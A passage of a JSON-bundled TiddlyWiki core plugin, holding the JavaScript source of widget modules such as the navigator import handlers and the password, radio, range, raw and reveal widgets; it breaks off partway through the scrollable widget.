storyList.indexOf(event.navigateFromTitle);\n\t\tif(slot === -1) {\n\t\t\tslot = this.getAttribute(\"openLinkFromOutsideRiver\",\"top\") === \"bottom\" ? storyList.length - 1 : slot;\n\t\t}\n\t\tstoryList.splice(slot + 1,0,draftTitle);\n\t}\n\tif(storyList && storyList.indexOf(title) !== -1) {\n\t\tstoryList.splice(storyList.indexOf(title),1);\n\t}\n\tthis.saveStoryList(storyList);\n\t// Add a new record to the top of the history stack\n\tthis.addToHistory(draftTitle);\n\treturn false;\n};\n\n// Import JSON tiddlers into a pending import tiddler\nNavigatorWidget.prototype.handleImportTiddlersEvent = function(event) {\n\t// Get the tiddlers\n\tvar tiddlers = [];\n\ttry {\n\t\ttiddlers = JSON.parse(event.param);\n\t} catch(e) {\n\t}\n\t// Get the current $:/Import tiddler\n\tvar importTiddler = this.wiki.getTiddler(IMPORT_TITLE),\n\t\timportData = this.wiki.getTiddlerData(IMPORT_TITLE,{}),\n\t\tnewFields = new Object({\n\t\t\ttitle: IMPORT_TITLE,\n\t\t\ttype: \"application/json\",\n\t\t\t\"plugin-type\": \"import\",\n\t\t\t\"status\": \"pending\"\n\t\t}),\n\t\tincomingTiddlers = [];\n\t// Process each tiddler\n\timportData.tiddlers = importData.tiddlers || {};\n\t$tw.utils.each(tiddlers,function(tiddlerFields) {\n\t\ttiddlerFields.title = $tw.utils.trim(tiddlerFields.title);\n\t\tvar title = tiddlerFields.title;\n\t\tif(title) {\n\t\t\tincomingTiddlers.push(title);\n\t\t\timportData.tiddlers[title] = tiddlerFields;\n\t\t}\n\t});\n\t// Give the active upgrader modules a chance to process the incoming tiddlers\n\tvar messages = this.wiki.invokeUpgraders(incomingTiddlers,importData.tiddlers);\n\t$tw.utils.each(messages,function(message,title) {\n\t\tnewFields[\"message-\" + title] = message;\n\t});\n\t// Deselect any suppressed tiddlers\n\t$tw.utils.each(importData.tiddlers,function(tiddler,title) {\n\t\tif($tw.utils.count(tiddler) === 0) {\n\t\t\tnewFields[\"selection-\" + title] = \"unchecked\";\n\t\t}\n\t});\n\t// Save the $:/Import tiddler\n\tnewFields.text = JSON.stringify(importData,null,$tw.config.preferences.jsonSpaces);\n\tthis.wiki.addTiddler(new $tw.Tiddler(importTiddler,newFields));\n\t// Update the story and history details\n\tif(this.getVariable(\"tv-auto-open-on-import\") !== \"no\") {\n\t\tvar storyList = this.getStoryList(),\n\t\t\thistory = [];\n\t\t// Add it to the story\n\t\tif(storyList && storyList.indexOf(IMPORT_TITLE) === -1) {\n\t\t\tstoryList.unshift(IMPORT_TITLE);\n\t\t}\n\t\t// And to history\n\t\thistory.push(IMPORT_TITLE);\n\t\t// Save the updated story and history\n\t\tthis.saveStoryList(storyList);\n\t\tthis.addToHistory(history);\n\t}\n\treturn false;\n};\n\n//\nNavigatorWidget.prototype.handlePerformImportEvent = function(event) {\n\tvar self = this,\n\t\timportTiddler = this.wiki.getTiddler(event.param),\n\t\timportData = this.wiki.getTiddlerDataCached(event.param,{tiddlers: {}}),\n\t\timportReport = [];\n\t// Add the tiddlers to the store\n\timportReport.push($tw.language.getString(\"Import/Imported/Hint\") + \"\\n\");\n\t$tw.utils.each(importData.tiddlers,function(tiddlerFields) {\n\t\tvar title = tiddlerFields.title;\n\t\tif(title && importTiddler && importTiddler.fields[\"selection-\" + title] !== \"unchecked\") {\n\t\t\tvar tiddler = new $tw.Tiddler(tiddlerFields);\n\t\t\ttiddler = $tw.hooks.invokeHook(\"th-importing-tiddler\",tiddler);\n\t\t\tself.wiki.addTiddler(tiddler);\n\t\t\timportReport.push(\"# [[\" + tiddlerFields.title + \"]]\");\n\t\t}\n\t});\n\t// Replace the $:/Import tiddler with an import report\n\tthis.wiki.addTiddler(new $tw.Tiddler({\n\t\ttitle: event.param,\n\t\ttext: importReport.join(\"\\n\"),\n\t\t\"status\": \"complete\"\n\t}));\n\t// Navigate to the $:/Import tiddler\n\tthis.addToHistory([event.param]);\n\t// Trigger an autosave\n\t$tw.rootWidget.dispatchEvent({type: \"tm-auto-save-wiki\"});\n};\n\nNavigatorWidget.prototype.handleFoldTiddlerEvent = function(event) {\n\tvar paramObject = event.paramObject || {};\n\tif(paramObject.foldedState) {\n\t\tvar foldedState = this.wiki.getTiddlerText(paramObject.foldedState,\"show\") === \"show\" ? \"hide\" : \"show\";\n\t\tthis.wiki.setText(paramObject.foldedState,\"text\",null,foldedState);\n\t}\n};\n\nNavigatorWidget.prototype.handleFoldOtherTiddlersEvent = function(event) {\n\tvar self = this,\n\t\tparamObject = event.paramObject || {},\n\t\tprefix = paramObject.foldedStatePrefix;\n\t$tw.utils.each(this.getStoryList(),function(title) {\n\t\tself.wiki.setText(prefix + title,\"text\",null,event.param === title ? \"show\" : \"hide\");\n\t});\n};\n\nNavigatorWidget.prototype.handleFoldAllTiddlersEvent = function(event) {\n\tvar self = this,\n\t\tparamObject = event.paramObject || {},\n\t\tprefix = paramObject.foldedStatePrefix || \"$:/state/folded/\";\n\t$tw.utils.each(this.getStoryList(),function(title) {\n\t\tself.wiki.setText(prefix + title,\"text\",null,\"hide\");\n\t});\n};\n\nNavigatorWidget.prototype.handleUnfoldAllTiddlersEvent = function(event) {\n\tvar self = this,\n\t\tparamObject = event.paramObject || {},\n\t\tprefix = paramObject.foldedStatePrefix;\n\t$tw.utils.each(this.getStoryList(),function(title) {\n\t\tself.wiki.setText(prefix + title,\"text\",null,\"show\");\n\t});\n};\n\nNavigatorWidget.prototype.handleRenameTiddlerEvent = function(event) {\n\tvar paramObject = event.paramObject || {},\n\t\tfrom = paramObject.from || event.tiddlerTitle,\n\t\tto = paramObject.to;\n\tthis.wiki.renameTiddler(from,to);\n};\n\nexports.navigator = NavigatorWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/password.js": {
"title": "$:/core/modules/widgets/password.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/password.js\ntype: application/javascript\nmodule-type: widget\n\nPassword widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar PasswordWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nPasswordWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nPasswordWidget.prototype.render = function(parent,nextSibling) {\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\t// Get the current password\n\tvar password = $tw.browser ? $tw.utils.getPassword(this.passwordName) || \"\" : \"\";\n\t// Create our element\n\tvar domNode = this.document.createElement(\"input\");\n\tdomNode.setAttribute(\"type\",\"password\");\n\tdomNode.setAttribute(\"value\",password);\n\t// Add a click event handler\n\t$tw.utils.addEventListeners(domNode,[\n\t\t{name: \"change\", handlerObject: this, handlerMethod: \"handleChangeEvent\"}\n\t]);\n\t// Insert the label into the DOM and render any children\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\nPasswordWidget.prototype.handleChangeEvent = function(event) {\n\tvar password = this.domNodes[0].value;\n\treturn $tw.utils.savePassword(this.passwordName,password);\n};\n\n/*\nCompute the internal state of the widget\n*/\nPasswordWidget.prototype.execute = function() {\n\t// Get the parameters from the attributes\n\tthis.passwordName = this.getAttribute(\"name\",\"\");\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nPasswordWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.name) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nexports.password = PasswordWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/qualify.js": {
"title": "$:/core/modules/widgets/qualify.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/qualify.js\ntype: application/javascript\nmodule-type: widget\n\nQualify text to a variable \n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar QualifyWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nQualifyWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nQualifyWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tthis.renderChildren(parent,nextSibling);\n};\n\n/*\nCompute the internal state of the widget\n*/\nQualifyWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.qualifyName = this.getAttribute(\"name\");\n\tthis.qualifyTitle = this.getAttribute(\"title\");\n\t// Set context variable\n\tif(this.qualifyName) {\n\t\tthis.setVariable(this.qualifyName,this.qualifyTitle + \"-\" + this.getStateQualifier());\n\t}\n\t// Construct the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nQualifyWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.name || changedAttributes.title) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\nexports.qualify = QualifyWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/radio.js": {
"title": "$:/core/modules/widgets/radio.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/radio.js\ntype: application/javascript\nmodule-type: widget\n\nSet a field or index at a given tiddler via radio buttons\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar RadioWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nRadioWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nRadioWidget.prototype.render = function(parent,nextSibling) {\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\tvar isChecked = this.getValue() === this.radioValue;\n\t// Create our elements\n\tthis.labelDomNode = this.document.createElement(\"label\");\n\tthis.labelDomNode.setAttribute(\"class\",\n \t\t\"tc-radio \" + this.radioClass + (isChecked ? \" tc-radio-selected\" : \"\")\n \t);\n\tthis.inputDomNode = this.document.createElement(\"input\");\n\tthis.inputDomNode.setAttribute(\"type\",\"radio\");\n\tif(isChecked) {\n\t\tthis.inputDomNode.setAttribute(\"checked\",\"true\");\n\t}\n\tthis.labelDomNode.appendChild(this.inputDomNode);\n\tthis.spanDomNode = this.document.createElement(\"span\");\n\tthis.labelDomNode.appendChild(this.spanDomNode);\n\t// Add a click event handler\n\t$tw.utils.addEventListeners(this.inputDomNode,[\n\t\t{name: \"change\", handlerObject: this, handlerMethod: \"handleChangeEvent\"}\n\t]);\n\t// Insert the label into the DOM and render any children\n\tparent.insertBefore(this.labelDomNode,nextSibling);\n\tthis.renderChildren(this.spanDomNode,null);\n\tthis.domNodes.push(this.labelDomNode);\n};\n\nRadioWidget.prototype.getValue = function() {\n\tvar value,\n\t\ttiddler = this.wiki.getTiddler(this.radioTitle);\n\tif (this.radioIndex) {\n\t\tvalue = this.wiki.extractTiddlerDataItem(this.radioTitle,this.radioIndex);\n\t} else {\n\t\tvalue = tiddler && tiddler.getFieldString(this.radioField);\n\t}\n\treturn value;\n};\n\nRadioWidget.prototype.setValue = function() {\n\tif(this.radioIndex) {\n\t\tthis.wiki.setText(this.radioTitle,\"\",this.radioIndex,this.radioValue);\n\t} else {\n\t\tvar tiddler = this.wiki.getTiddler(this.radioTitle),\n\t\t\taddition = {};\n\t\taddition[this.radioField] = this.radioValue;\n\t\tthis.wiki.addTiddler(new $tw.Tiddler(this.wiki.getCreationFields(),{title: this.radioTitle},tiddler,addition,this.wiki.getModificationFields()));\n\t}\n};\n\nRadioWidget.prototype.handleChangeEvent = function(event) {\n\tif(this.inputDomNode.checked) {\n\t\tthis.setValue();\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nRadioWidget.prototype.execute = function() {\n\t// Get the parameters from the attributes\n\tthis.radioTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.radioField = this.getAttribute(\"field\",\"text\");\n\tthis.radioIndex = this.getAttribute(\"index\");\n\tthis.radioValue = this.getAttribute(\"value\");\n\tthis.radioClass = this.getAttribute(\"class\",\"\");\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nRadioWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes.index || changedAttributes.value || changedAttributes[\"class\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\tvar refreshed = false;\n\t\tif(changedTiddlers[this.radioTitle]) {\n\t\t\tthis.inputDomNode.checked = this.getValue() === this.radioValue;\n\t\t\trefreshed = true;\n\t\t}\n\t\treturn this.refreshChildren(changedTiddlers) || refreshed;\n\t}\n};\n\nexports.radio = RadioWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/range.js": {
"title": "$:/core/modules/widgets/range.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/range.js\ntype: application/javascript\nmodule-type: widget\n\nRange widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar RangeWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nRangeWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nRangeWidget.prototype.render = function(parent,nextSibling) {\n\t// Save the parent dom node\n\tthis.parentDomNode = parent;\n\t// Compute our attributes\n\tthis.computeAttributes();\n\t// Execute our logic\n\tthis.execute();\n\t// Create our elements\n\tthis.inputDomNode = this.document.createElement(\"input\");\n\tthis.inputDomNode.setAttribute(\"type\",\"range\");\n\tthis.inputDomNode.setAttribute(\"class\",this.elementClass);\n\tif(this.minValue){\n\t\tthis.inputDomNode.setAttribute(\"min\", this.minValue);\n\t}\n\tif(this.maxValue){\n\t\tthis.inputDomNode.setAttribute(\"max\", this.maxValue);\n\t}\n\tif(this.increment){\n\t\tthis.inputDomNode.setAttribute(\"step\", this.increment);\n\t}\n\tthis.inputDomNode.value = this.getValue();\n\t// Add a click event handler\n\t$tw.utils.addEventListeners(this.inputDomNode,[\n\t\t{name: \"input\", handlerObject: this, handlerMethod: \"handleInputEvent\"},\n\t\t{name: \"change\", handlerObject: this, handlerMethod: \"handleInputEvent\"}\t\t\n\t]);\n\t// Insert the label into the DOM and render any children\n\tparent.insertBefore(this.inputDomNode,nextSibling);\n\tthis.domNodes.push(this.inputDomNode);\n};\n\nRangeWidget.prototype.getValue = function() {\n\tvar tiddler = this.wiki.getTiddler(this.tiddlerTitle),\n\t\tfieldName = this.tiddlerField || \"text\",\n\t\tvalue = this.defaultValue;\n\tif(tiddler) {\n\t\tif(this.tiddlerIndex) {\n\t\t\tvalue = this.wiki.extractTiddlerDataItem(tiddler,this.tiddlerIndex,this.defaultValue || \"\");\n\t\t} else {\n\t\t\tif($tw.utils.hop(tiddler.fields,fieldName)) {\n\t\t\t\tvalue = tiddler.fields[fieldName] || \"\";\n\t\t\t} else {\n\t\t\t\tvalue = this.defaultValue || \"\";\n\t\t\t}\n\t\t}\n\t}\n\treturn value;\n};\n\nRangeWidget.prototype.handleInputEvent = function(event) {\n\tif(this.getValue() !== this.inputDomNode.value) {\n\t\tif(this.tiddlerIndex) {\n\t\t\tthis.wiki.setText(this.tiddlerTitle,\"\",this.tiddlerIndex,this.inputDomNode.value);\n\t\t} else {\n\t\t\tthis.wiki.setText(this.tiddlerTitle,this.tiddlerField,null,this.inputDomNode.value);\n\t\t}\n\t}\n};\n\n/*\nCompute the internal state of the widget\n*/\nRangeWidget.prototype.execute = function() {\n\t// Get the parameters from the attributes\n\tthis.tiddlerTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.tiddlerField = this.getAttribute(\"field\");\n\tthis.tiddlerIndex = this.getAttribute(\"index\");\n\tthis.minValue = this.getAttribute(\"min\");\n\tthis.maxValue = this.getAttribute(\"max\");\n\tthis.increment = this.getAttribute(\"increment\");\n\tthis.defaultValue = this.getAttribute(\"default\");\n\tthis.elementClass = this.getAttribute(\"class\",\"\");\n\t// Make the child widgets\n\tthis.makeChildWidgets();\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nRangeWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes.index || changedAttributes['min'] || changedAttributes['max'] || changedAttributes['increment'] || changedAttributes[\"default\"] || changedAttributes[\"class\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\tvar refreshed = false;\n\t\tif(changedTiddlers[this.tiddlerTitle]) {\n\t\t\tvar value = this.getValue();\n\t\t\tif(this.inputDomNode.value !== value) {\n\t\t\t\tthis.inputDomNode.value = value;\t\t\t\t\n\t\t\t}\n\t\t\trefreshed = true;\n\t\t}\n\t\treturn this.refreshChildren(changedTiddlers) || refreshed;\n\t}\n};\n\nexports.range = RangeWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/raw.js": {
"title": "$:/core/modules/widgets/raw.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/raw.js\ntype: application/javascript\nmodule-type: widget\n\nRaw widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar RawWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nRawWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nRawWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.execute();\n\tvar div = this.document.createElement(\"div\");\n\tdiv.innerHTML=this.parseTreeNode.html;\n\tparent.insertBefore(div,nextSibling);\n\tthis.domNodes.push(div);\t\n};\n\n/*\nCompute the internal state of the widget\n*/\nRawWidget.prototype.execute = function() {\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nRawWidget.prototype.refresh = function(changedTiddlers) {\n\treturn false;\n};\n\nexports.raw = RawWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/reveal.js": {
"title": "$:/core/modules/widgets/reveal.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/reveal.js\ntype: application/javascript\nmodule-type: widget\n\nReveal widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar RevealWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nRevealWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nRevealWidget.prototype.render = function(parent,nextSibling) {\n\tthis.parentDomNode = parent;\n\tthis.computeAttributes();\n\tthis.execute();\n\tvar tag = this.parseTreeNode.isBlock ? \"div\" : \"span\";\n\tif(this.revealTag && $tw.config.htmlUnsafeElements.indexOf(this.revealTag) === -1) {\n\t\ttag = this.revealTag;\n\t}\n\tvar domNode = this.document.createElement(tag);\n\tvar classes = this[\"class\"].split(\" \") || [];\n\tclasses.push(\"tc-reveal\");\n\tdomNode.className = classes.join(\" \");\n\tif(this.style) {\n\t\tdomNode.setAttribute(\"style\",this.style);\n\t}\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tif(!domNode.isTiddlyWikiFakeDom && this.type === \"popup\" && this.isOpen) {\n\t\tthis.positionPopup(domNode);\n\t\t$tw.utils.addClass(domNode,\"tc-popup\"); // Make sure that clicks don't dismiss popups within the revealed content\n\t}\n\tif(!this.isOpen) {\n\t\tdomNode.setAttribute(\"hidden\",\"true\");\n\t}\n\tthis.domNodes.push(domNode);\n};\n\nRevealWidget.prototype.positionPopup = function(domNode) {\n\tdomNode.style.position = \"absolute\";\n\tdomNode.style.zIndex = \"1000\";\n\tvar left,top;\n\tswitch(this.position) {\n\t\tcase \"left\":\n\t\t\tleft = this.popup.left - domNode.offsetWidth;\n\t\t\ttop = this.popup.top;\n\t\t\tbreak;\n\t\tcase \"above\":\n\t\t\tleft = this.popup.left;\n\t\t\ttop = this.popup.top - domNode.offsetHeight;\n\t\t\tbreak;\n\t\tcase \"aboveright\":\n\t\t\tleft = this.popup.left + this.popup.width;\n\t\t\ttop = this.popup.top + this.popup.height - domNode.offsetHeight;\n\t\t\tbreak;\n\t\tcase \"right\":\n\t\t\tleft = this.popup.left + this.popup.width;\n\t\t\ttop = this.popup.top;\n\t\t\tbreak;\n\t\tcase \"belowleft\":\n\t\t\tleft = this.popup.left + this.popup.width - domNode.offsetWidth;\n\t\t\ttop = this.popup.top + this.popup.height;\n\t\t\tbreak;\n\t\tdefault: // Below\n\t\t\tleft = this.popup.left;\n\t\t\ttop = this.popup.top + this.popup.height;\n\t\t\tbreak;\n\t}\n\tif(!this.positionAllowNegative) {\n\t\tleft = Math.max(0,left);\n\t\ttop = Math.max(0,top);\n\t}\n\tdomNode.style.left = left + \"px\";\n\tdomNode.style.top = top + \"px\";\n};\n\n/*\nCompute the internal state of the widget\n*/\nRevealWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.state = this.getAttribute(\"state\");\n\tthis.revealTag = this.getAttribute(\"tag\");\n\tthis.type = this.getAttribute(\"type\");\n\tthis.text = this.getAttribute(\"text\");\n\tthis.position = this.getAttribute(\"position\");\n\tthis.positionAllowNegative = this.getAttribute(\"positionAllowNegative\") === \"yes\";\n\tthis[\"class\"] = this.getAttribute(\"class\",\"\");\n\tthis.style = this.getAttribute(\"style\",\"\");\n\tthis[\"default\"] = this.getAttribute(\"default\",\"\");\n\tthis.animate = this.getAttribute(\"animate\",\"no\");\n\tthis.retain = this.getAttribute(\"retain\",\"no\");\n\tthis.openAnimation = this.animate === \"no\" ? undefined : \"open\";\n\tthis.closeAnimation = this.animate === \"no\" ? undefined : \"close\";\n\t// Compute the title of the state tiddler and read it\n\tthis.stateTiddlerTitle = this.state;\n\tthis.stateTitle = this.getAttribute(\"stateTitle\");\n\tthis.stateField = this.getAttribute(\"stateField\");\n\tthis.stateIndex = this.getAttribute(\"stateIndex\");\n\tthis.readState();\n\t// Construct the child widgets\n\tvar childNodes = this.isOpen ? this.parseTreeNode.children : [];\n\tthis.hasChildNodes = this.isOpen;\n\tthis.makeChildWidgets(childNodes);\n};\n\n/*\nRead the state tiddler\n*/\nRevealWidget.prototype.readState = function() {\n\t// Read the information from the state tiddler\n\tvar state,\n\t defaultState = this[\"default\"];\n\tif(this.stateTitle) {\n\t\tvar stateTitleTiddler = this.wiki.getTiddler(this.stateTitle);\n\t\tif(this.stateField) {\n\t\t\tstate = stateTitleTiddler ? stateTitleTiddler.getFieldString(this.stateField) || defaultState : defaultState;\n\t\t} else if(this.stateIndex) {\n\t\t\tstate = stateTitleTiddler ? this.wiki.extractTiddlerDataItem(this.stateTitle,this.stateIndex) || defaultState : defaultState;\n\t\t} else if(stateTitleTiddler) {\n\t\t\tstate = this.wiki.getTiddlerText(this.stateTitle) || defaultState;\n\t\t} else {\n\t\t\tstate = defaultState;\n\t\t}\n\t} else {\n\t\tstate = this.stateTiddlerTitle ? this.wiki.getTextReference(this.state,this[\"default\"],this.getVariable(\"currentTiddler\")) : this[\"default\"];\n\t}\n\tif(state === null) {\n\t\tstate = this[\"default\"];\n\t}\n\tswitch(this.type) {\n\t\tcase \"popup\":\n\t\t\tthis.readPopupState(state);\n\t\t\tbreak;\n\t\tcase \"match\":\n\t\t\tthis.isOpen = this.text === state;\n\t\t\tbreak;\n\t\tcase \"nomatch\":\n\t\t\tthis.isOpen = this.text !== state;\n\t\t\tbreak;\n\t\tcase \"lt\":\n\t\t\tthis.isOpen = !!(this.compareStateText(state) < 0);\n\t\t\tbreak;\n\t\tcase \"gt\":\n\t\t\tthis.isOpen = !!(this.compareStateText(state) > 0);\n\t\t\tbreak;\n\t\tcase \"lteq\":\n\t\t\tthis.isOpen = !(this.compareStateText(state) > 0);\n\t\t\tbreak;\n\t\tcase \"gteq\":\n\t\t\tthis.isOpen = !(this.compareStateText(state) < 0);\n\t\t\tbreak;\n\t}\n};\n\nRevealWidget.prototype.compareStateText = function(state) {\n\treturn state.localeCompare(this.text,undefined,{numeric: true,sensitivity: \"case\"});\n};\n\nRevealWidget.prototype.readPopupState = function(state) {\n\tvar popupLocationRegExp = /^\\((-?[0-9\\.E]+),(-?[0-9\\.E]+),(-?[0-9\\.E]+),(-?[0-9\\.E]+)\\)$/,\n\t\tmatch = popupLocationRegExp.exec(state);\n\t// Check if the state matches the location regexp\n\tif(match) {\n\t\t// If so, we're open\n\t\tthis.isOpen = true;\n\t\t// Get the location\n\t\tthis.popup = {\n\t\t\tleft: parseFloat(match[1]),\n\t\t\ttop: parseFloat(match[2]),\n\t\t\twidth: parseFloat(match[3]),\n\t\t\theight: parseFloat(match[4])\n\t\t};\n\t} else {\n\t\t// If not, we're closed\n\t\tthis.isOpen = false;\n\t}\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nRevealWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.state || changedAttributes.type || changedAttributes.text || changedAttributes.position || changedAttributes.positionAllowNegative || changedAttributes[\"default\"] || changedAttributes.animate || changedAttributes.stateTitle || changedAttributes.stateField || changedAttributes.stateIndex) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t} else {\n\t\tvar currentlyOpen = this.isOpen;\n\t\tthis.readState();\n\t\tif(this.isOpen !== currentlyOpen) {\n\t\t\tif(this.retain === \"yes\") {\n\t\t\t\tthis.updateState();\n\t\t\t} else {\n\t\t\t\tthis.refreshSelf();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn this.refreshChildren(changedTiddlers);\n\t}\n};\n\n/*\nCalled by refresh() to dynamically show or hide the content\n*/\nRevealWidget.prototype.updateState = function() {\n\tvar self = this;\n\t// Read the current state\n\tthis.readState();\n\t// Construct the child nodes if needed\n\tvar domNode = this.domNodes[0];\n\tif(this.isOpen && !this.hasChildNodes) {\n\t\tthis.hasChildNodes = true;\n\t\tthis.makeChildWidgets(this.parseTreeNode.children);\n\t\tthis.renderChildren(domNode,null);\n\t}\n\t// Animate our DOM node\n\tif(!domNode.isTiddlyWikiFakeDom && this.type === \"popup\" && this.isOpen) {\n\t\tthis.positionPopup(domNode);\n\t\t$tw.utils.addClass(domNode,\"tc-popup\"); // Make sure that clicks don't dismiss popups within the revealed content\n\n\t}\n\tif(this.isOpen) {\n\t\tdomNode.removeAttribute(\"hidden\");\n $tw.anim.perform(this.openAnimation,domNode);\n\t} else {\n\t\t$tw.anim.perform(this.closeAnimation,domNode,{callback: function() {\n\t\t\t//make sure that the state hasn't changed during the close animation\n\t\t\tself.readState()\n\t\t\tif(!self.isOpen) {\n\t\t\t\tdomNode.setAttribute(\"hidden\",\"true\");\n\t\t\t}\n\t\t}});\n\t}\n};\n\nexports.reveal = RevealWidget;\n\n})();\n",
"type": "application/javascript",
"module-type": "widget"
},
"$:/core/modules/widgets/scrollable.js": {
"title": "$:/core/modules/widgets/scrollable.js",
"text": "/*\\\ntitle: $:/core/modules/widgets/scrollable.js\ntype: application/javascript\nmodule-type: widget\n\nScrollable widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar ScrollableWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n\tthis.scaleFactor = 1;\n\tthis.addEventListeners([\n\t\t{type: \"tm-scroll\", handler: \"handleScrollEvent\"}\n\t]);\n\tif($tw.browser) {\n\t\tthis.requestAnimationFrame = window.requestAnimationFrame ||\n\t\t\twindow.webkitRequestAnimationFrame ||\n\t\t\twindow.mozRequestAnimationFrame ||\n\t\t\tfunction(callback) {\n\t\t\t\treturn window.setTimeout(callback, 1000/60);\n\t\t\t};\n\t\tthis.cancelAnimationFrame = window.cancelAnimationFrame ||\n\t\t\twindow.webkitCancelAnimationFrame ||\n\t\t\twindow.webkitCancelRequestAnimationFrame ||\n\t\t\twindow.mozCancelAnimationFrame ||\n\t\t\twindow.mozCancelRequestAnimationFrame ||\n\t\t\tfunction(id) {\n\t\t\t\twindow.clearTimeout(id);\n\t\t\t};\n\t}\n};\n\n/*\nInherit from the base widget 